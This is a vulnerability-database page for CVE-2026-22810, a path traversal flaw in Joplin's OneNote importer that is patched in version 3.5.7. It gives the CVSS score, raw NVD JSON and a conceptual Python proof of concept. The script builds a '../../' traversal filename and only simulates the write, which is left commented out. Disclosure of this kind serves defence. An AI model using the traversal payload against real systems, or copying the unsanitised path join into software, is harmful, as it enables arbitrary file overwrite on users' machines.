Security Vulnerability Report
中文
CVE-2026-22810 CVSS 8.2 HIGH

CVE-2026-22810

Published: 2026-05-18 21:16:39
Last Modified: 2026-05-19 15:03:31

Description

Joplin is an open source note-taking and to-do application that organises notes and lists into notebooks. Versions prior to 3.5.7 contain a path traversal vulnerability in the importer which allows overwriting arbitrary files on disk. The OneNote converter does not sanitize the names of embedded files before writing them to disk. As a result, it's possible for an attacker to create a malicious .one file that includes file names containing ../../, that are then interpreted as part of the target path when extracting attachments from the .one file. This issue has been patched in version 3.5.7.

CVSS Details

CVSS Score
8.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Joplin < 3.5.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC Concept for CVE-2026-22810 # This script demonstrates the concept of the vulnerability. # Actual exploitation requires crafting a valid binary .one file structure. import os import zipfile # Simulated malicious payload structure # In a real scenario, this would be embedded within a .one file malicious_filename = "../../../../tmp/pwned.txt" content = b"This file was written via path traversal." print(f"[+] Creating malicious file structure with filename: {malicious_filename}") # Note: Joplin parses .one files specifically. This demonstrates the path logic. # The vulnerability occurs when the OneNote renderer calls fs.write with the unsanitized filename. def simulate_vulnerable_write(base_path, filename, data): """ Simulates the vulnerable behavior in Joplin's embedded_file.rs where filename is not sanitized against path traversal. """ # Vulnerable: Direct concatenation without normalization or validation full_path = os.path.join(base_path, filename) # Normalizing the path to see where it actually points (OS handles this) real_path = os.path.realpath(full_path) print(f"[+] Attempting to write to: {real_path}") # In the actual vulnerability, the file would be written here # with open(real_path, 'wb') as f: # f.write(data) return real_path # Demonstration if __name__ == "__main__": target_dir = "/home/user/joplin_data/imports" print(f"[+] Target base directory: {target_dir}") result_path = simulate_vulnerable_write(target_dir, malicious_filename, content) print(f"[!] Vulnerability could write to: {result_path}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22810", "sourceIdentifier": "[email protected]", "published": "2026-05-18T21:16:39.373", "lastModified": "2026-05-19T15:03:31.370", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Joplin is an open source note-taking and to-do application that organises notes and lists into notebooks. Versions prior to 3.5.7 contain a path traversal vulnerability in the importer which allows overwriting arbitrary files on disk. The OneNote converter does not sanitize the names of embedded files before writing them to disk. As a result, it's possible for an attacker to create a malicious .one file that includes file names containing ../../, that are then interpreted as part of the target path when extracting attachments from the .one file. This issue has been patched in version 3.5.7."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.5, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-24"}]}], "references": [{"url": "https://github.com/laurent22/joplin/blob/af5108d70233b1db9410346958c1587cf7c1b16d/packages/onenote-converter/renderer/src/page/embedded_file.rs#L13-L16", "source": "[email protected]"}, {"url": "https://github.com/laurent22/joplin/commit/791668455e1aae50501ff57ea4783b3fba9d377c", "source": "[email protected]"}, {"url": "https://github.com/laurent22/joplin/pull/13736", "source": "[email protected]"}, {"url": "https://github.com/laurent22/joplin/releases/tag/v3.5.7", "source": "[email protected]"}, {"url": "https://github.com/laurent22/joplin/security/advisories/GHSA-gcmj-c9gg-9vh6", "source": "[email protected]"}, {"url": "https://github.com/laurent22/joplin/security/advisories/GHSA-gcmj-c9gg-9vh6", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}